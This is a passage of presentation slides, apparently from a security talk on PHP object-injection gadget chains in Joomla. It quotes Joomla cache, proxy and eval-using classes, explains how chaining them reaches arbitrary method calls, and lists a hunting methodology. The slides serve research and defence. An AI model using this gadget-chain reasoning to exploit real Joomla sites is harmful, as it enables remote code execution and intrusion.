  • 98. elseif (strstr($callback, '::')) { list ($class, $method) = explode('::', $callback); $callback = array(trim($class), trim($method)); } … elseif (strstr($callback, '->')) { /* * This is a really not so smart way of doing this... … list ($object_123456789, $method) = explode('->', $callback); global $$object_123456789; $callback = array($$object_123456789, $method); } JCacheControllerCallback – callback string shorthand
  • 99. $id = $this->_makeId($callback, $args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic
  • 100. • call_user_func_array doesn’t error on a non-existent method • We can use a proxy gadget to get past the “lock” method
  • 101. public function __call($name, $arguments) { $nazaj = call_user_func_array(array($this->cache, $name), $arguments); return $nazaj; } Proxy gadget - JCacheController – __call
  • 102. public function get($id, $group = null) { $data = false; $data = $this->cache->get($id, $group); … if ($data !== false) { $data = unserialize(trim($data)); } return $data; } get #7 - JCacheController
  • 103. $id = $this->_makeId($callback, $args); $data = $this->cache->get($id); if ($data === false) { $locktest = $this->cache->lock($id); … } if ($data !== false) { $cached = unserialize(trim($data)); $result = $cached['result']; } else { $result = call_user_func_array($callback, $Args); } JCacheControllerCallback – cache and callback logic
  • 104. There’s nothing to stop us following the same path twice • On the first pass we globalise $result and retrieve it from the cache • On the second pass we use $result as the object in the callback We can now call an arbitrary method on an arbitrary object
  • 105. public function _startElement($parser, $name, $attrs = array()) { array_push($this->stack, $name); $tag = $this->_getStackLocation(); // Reset the data eval('$this->' . $tag . '->_data = "";'); … } protected function _getStackLocation() { return implode('->', $this->stack); } JUpdate – _startElement
  • 106. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 107. 500
  • 108. public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } get #17 - JGithubGists extends JGithubObject
  • 109.
  • 110.
  • 111. Take aways Developers • Think very carefully before using this type of function Testers / Researchers • Test for and find this type of issue • Exploit it – it’s fun!
  • 112. Methodology • Find an entry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic